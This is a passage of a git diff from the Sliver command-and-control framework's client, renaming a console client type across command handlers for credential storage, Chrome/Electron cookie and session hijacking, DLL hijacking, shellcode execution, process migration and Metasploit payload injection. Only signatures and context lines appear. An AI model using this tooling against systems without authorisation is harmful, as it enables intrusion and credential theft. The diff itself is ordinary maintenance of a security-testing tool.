*clientpb.Crackstation, index int, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n") @@ -135,7 +135,7 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver printBenchmarks(cracker, con) } -func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) { +func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Benchmarks" + console.Normal) diff --git a/client/command/crack/helpers.go b/client/command/crack/helpers.go index a5409a2637..7cc947348a 100644 --- a/client/command/crack/helpers.go +++ b/client/command/crack/helpers.go @@ -10,7 +10,7 @@ import ( "github.com/rsteube/carapace" ) -func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action { +func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { @@ -33,7 +33,7 @@ func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action { }) } -func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action { +func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { @@ -57,7 +57,7 @@ func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action { +func CrackRulesCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { diff --git a/client/command/creds/add.go b/client/command/creds/add.go index 3f7e4352e7..4d84bb8574 100644 --- a/client/command/creds/add.go +++ b/client/command/creds/add.go @@ -38,7 +38,7 @@ const ( ) // CredsCmd - Add new credentials -func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") username, _ := cmd.Flags().GetString("username") plaintext, _ := cmd.Flags().GetString("plaintext") @@ -77,7 +77,7 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // CredsCmd - Add new credentials -func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { collection, _ := cmd.Flags().GetString("collection") filePath := args[0] fileFormat, _ := cmd.Flags().GetString("file-format") diff --git a/client/command/creds/commands.go b/client/command/creds/commands.go index 4ec0bfec49..aba841248e 100644 --- a/client/command/creds/commands.go +++ b/client/command/creds/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { credsCmd := &cobra.Command{ Use: consts.CredsStr, Short: "Manage the database of credentials", diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 73cc5e70b3..012292aca8 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -34,7 +34,7 @@ import ( ) // CredsCmd - Manage credentials -func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -47,7 +47,7 @@ func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin PrintCreds(creds.Credentials, con) } -func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) { +func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) { collections := make(map[string][]*clientpb.Credential) for _, cred := range creds { collections[cred.Collection] = append(collections[cred.Collection], cred) @@ -58,7 +58,7 @@ func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) } } -func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) { +func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) if collection != "" { @@ -88,7 +88,7 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso } // CredsHashTypeCompleter completes hash types. -func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) @@ -102,7 +102,7 @@ func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action { } // CredsHashFileFormatCompleter completes file formats for hash-files -func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValuesDescribed( UserColonHashNewlineFormat, "One hash per line.", HashNewlineFormat, "A file containing lines of 'username:hash' pairs.", @@ -111,7 +111,7 @@ func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Act } // CredsCollectionCompleter completes existing creds collection names -func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) @@ -134,7 +134,7 @@ func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action } // CredsCredentialIDCompleter completes credential IDs. -func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index c119f0efd1..2498327062 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -28,7 +28,7 @@ import ( ) // CredsCmd - Add new credentials -func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var id string if len(args) > 0 { id = args[0] diff --git a/client/command/creds/select.go b/client/command/creds/select.go index a375937aa0..89f02a865f 100644 --- a/client/command/creds/select.go +++ b/client/command/creds/select.go @@ -16,7 +16,7 @@ import ( ) // SelectCredential - Interactive menu for the user to select a credentials from the database -func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) { +func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) { var creds *clientpb.Credentials var err error if hashType == clientpb.HashType_INVALID { diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index 6680df71e4..ba187a36b3 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { cursedCmd := &cobra.Command{ Use: consts.Cursed, Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index 04cfa2146d..51656b9683 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -52,7 +52,7 @@ var ( ) // CursedChromeCmd - Execute a .NET assembly in-memory -func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -112,7 +112,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { chromeProcess, err := getChromeProcess(session, cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -154,7 +154,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons return curse } -func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) { +func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { name := "Chrome" if isEdge { name = "Edge" @@ -254,7 +254,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra return curse, nil } -func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { userDataFlag, _ := cmd.Flags().GetString("user-data") if userDataFlag != "" { return userDataFlag, nil @@ -307,7 +307,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co } } -func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (string, error) { exeFlag, _ := cmd.Flags().GetString("exe") if exeFlag != "" { return exeFlag, nil @@ -417,7 +417,7 @@ func isChromeProcess(executable string) bool { return false } -func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go index 046bb45308..f70bdcb42a 100644 --- a/client/command/cursed/cursed-console.go +++ b/client/command/cursed/cursed-console.go @@ -35,7 +35,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return @@ -56,7 +56,7 @@ func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args startCursedConsole(curse, true, target, con) } -func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget { +func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverClient) *overlord.ChromeDebugTarget { if len(targets) < 1 { con.PrintErrorf("No debug targets\n") return nil @@ -94,7 +94,7 @@ var helperHooks = []string{ "console.log = (...a) => {return a;}", // console.log } -func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) { +func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverClient) { tmpFile, _ := os.CreateTemp("", "cursed") shell := readline.NewShell() shell.History.AddFromFile("cursed history", tmpFile.Name()) diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go index 59859771d0..a2f46dfa4e 100644 --- a/client/command/cursed/cursed-cookies.go +++ b/client/command/cursed/cursed-cookies.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return diff --git a/client/command/cursed/cursed-edge.go b/client/command/cursed/cursed-edge.go index a83da8c2f3..7ec9c67cdd 100644 --- a/client/command/cursed/cursed-edge.go +++ b/client/command/cursed/cursed-edge.go @@ -36,7 +36,7 @@ import ( ) // CursedChromeCmd - Execute a .NET assembly in-memory -func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -96,7 +96,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { edgeProcess, err := getEdgeProcess(session, cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -153,7 +153,7 @@ func isEdgeProcess(executable string) bool { return false } -func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index 1d11bc2422..e990536da3 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -38,7 +38,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedElectronCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -68,7 +68,7 @@ func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets)) } -func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess { +func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) *core.CursedProcess { exists, err := checkElectronPath(electronExe, session, cmd, con) if err != nil { con.PrintErrorf("%s", err) @@ -119,7 +119,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co return curse } -func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) { +func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) { ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ Request: con.ActiveTarget.Request(cmd), Path: electronExe, @@ -130,7 +130,7 @@ func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra return ls.GetExists(), nil } -func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) { +func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) @@ -148,7 +148,7 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co return nil, nil } -func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) { +func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) { con.PrintInfof("Starting '%s' ... ", path.Base(electronExe)) debugPort := getRemoteDebuggerPort(cmd) args := []string{ diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go index 3220557f23..fdbf14c1a5 100644 --- a/client/command/cursed/cursed-rm.go +++ b/client/command/cursed/cursed-rm.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/cursed/cursed-screenshot.go b/client/command/cursed/cursed-screenshot.go index d6cc8dc4ca..237ccf6908 100644 --- a/client/command/cursed/cursed-screenshot.go +++ b/client/command/cursed/cursed-screenshot.go @@ -29,7 +29,7 @@ import ( "github.com/bishopfox/sliver/client/overlord" ) -func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { curse := selectCursedProcess(con) if curse == nil { return diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index fe81219f6d..5c011ef963 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -36,7 +36,7 @@ import ( ) // CursedChromeCmd - Execute a .NET assembly in-memory -func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Collect existing curses from core cursedProcesses := [][]string{} core.CursedProcesses.Range(func(key, value interface{}) bool { @@ -72,7 +72,7 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } // selectCursedProcess - Interactively select a cursed process from a list -func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess { +func selectCursedProcess(con *console.SliverClient) *core.CursedProcess { cursedProcesses := []*core.CursedProcess{} core.CursedProcesses.Range(func(key, value interface{}) bool { cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess)) diff --git a/client/command/dllhijack/commands.go b/client/command/dllhijack/commands.go index b9aae25f22..54735cc958 100644 --- a/client/command/dllhijack/commands.go +++ b/client/command/dllhijack/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { dllhijackCmd := &cobra.Command{ Use: consts.DLLHijackStr, Short: "Plant a DLL for a hijack scenario", diff --git a/client/command/dllhijack/dllhijack.go b/client/command/dllhijack/dllhijack.go index 48eb91dd19..5f9f40c8f0 100644 --- a/client/command/dllhijack/dllhijack.go +++ b/client/command/dllhijack/dllhijack.go @@ -34,7 +34,7 @@ import ( // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH // DllHijackCmd -- implements the dllhijack command -func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( localRefData []byte targetDLLData []byte diff --git a/client/command/environment/commands.go b/client/command/environment/commands.go index ed72775b1f..6c030ae77c 100644 --- a/client/command/environment/commands.go +++ b/client/command/environment/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { envCmd := &cobra.Command{ Use: consts.EnvStr, Short: "List environment variables", diff --git a/client/command/environment/get.go b/client/command/environment/get.go index cdf40aecc5..5cd630bfaf 100644 --- a/client/command/environment/get.go +++ b/client/command/environment/get.go @@ -31,7 +31,7 @@ import ( ) // EnvGetCmd - Get a remote environment variable -func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -66,7 +66,7 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } // PrintGetEnvInfo - Print the results of the env get command -func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) { +func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/environment/set.go b/client/command/environment/set.go index 395d5edbd3..7db6d4124f 100644 --- a/client/command/environment/set.go +++ b/client/command/environment/set.go @@ -32,7 +32,7 @@ import ( ) // EnvSetCmd - Set a remote environment variable -func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -72,7 +72,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } // PrintSetEnvInfo - Print the set environment info -func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) { +func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/environment/unset.go b/client/command/environment/unset.go index 664497f703..c5b7b2773a 100644 --- a/client/command/environment/unset.go +++ b/client/command/environment/unset.go @@ -31,7 +31,7 @@ import ( ) // EnvUnsetCmd - Unset a remote environment variable -func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -67,7 +67,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintUnsetEnvInfo - Print the set environment info -func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) { +func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index 79b6174323..d0be42aa9f 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { executeCmd := &cobra.Command{ Use: consts.ExecuteStr, Short: "Execute a program on the remote system", diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index 34f16a03ce..ef10f39715 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -34,7 +34,7 @@ import ( ) // ExecuteAssemblyCmd - Execute a .NET assembly in-memory -func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -132,7 +132,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar } } -func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index 7857a9383b..4727e0fa40 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -38,7 +38,7 @@ import ( ) // ExecuteShellcodeCmd - Execute shellcode in-memory -func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -129,7 +129,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } // PrintExecuteShellcode - Display result of shellcode execution -func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) { +func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) { if task.Response.GetErr() != "" { con.PrintErrorf("%s\n", task.Response.GetErr()) } else { @@ -137,7 +137,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient } } -func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) { +func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) { // Check active session session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index fd45ab5aa6..03513f9173 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -34,7 +34,7 @@ import ( ) // ExecuteCmd - Run a command on the remote system -func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -113,7 +113,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } } -func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { var lootedOutput []byte stdout, _ := cmd.Flags().GetString("stdout") saveLoot, _ := cmd.Flags().GetBool("loot") @@ -137,7 +137,7 @@ func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName stri } // PrintExecute - Print the output of an executed command -func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) { +func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) { ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr") stdout, _ := cmd.Flags().GetString("stdout") stderr, _ := cmd.Flags().GetString("stderr") @@ -210,7 +210,7 @@ func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStd return []byte(outputString) } -func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) { +func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverClient) { if len(commandOutput) == 0 { con.PrintInfof("There was no output from execution, so there is nothing to loot.\n") return @@ -229,7 +229,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm loot.SendLootMessage(lootMessage, con) } -func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) { +func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverClient) { con.PrintInfof("Output:\n%s", executionOutput) if saveOutput { @@ -237,7 +237,7 @@ func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName s } } -func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) { +func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverClient) { var outFilePath *os.File var err error diff --git a/client/command/exec/migrate.go b/client/command/exec/migrate.go index 1a0e421ca5..2e696f43fb 100644 --- a/client/command/exec/migrate.go +++ b/client/command/exec/migrate.go @@ -31,7 +31,7 @@ import ( ) // MigrateCmd - Windows only, inject an implant into another process -func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { return diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go index b8d274345a..0b5bf257af 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/exec/msf-inject.go @@ -33,7 +33,7 @@ import ( ) // MsfInjectCmd - Inject a metasploit payload into a remote process -func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -100,7 +100,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } // PrintMsfRemote - Print the results of the remote injection attempt -func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) { +func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) { if msfRemote.Response == nil { con.PrintErrorf("Empty response from msf payload injection task") return diff --git a/client/command/exec/msf.go b/client/command/exec/msf.go index 9108478c66..1b06a3e29f 100644 --- a/client/command/exec/msf.go +++ b/client/command/exec/msf.go @@ -32,7 +32,7 @@ import ( ) // MsfCmd - Inject a metasploit payload into the current remote process -func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return diff --git a/client/command/exec/psexec.go b/client/command/exec/psexec.go index 69f08a3a51..eb18442abb 100644 --- a/client/command/exec/psexec.go +++ b/client/command/exec/psexec.go @@ -39,7 +39,7 @@ import ( ) // PsExecCmd - psexec command implementation. -func PsExecCmd(cmd *cobra.Command, con 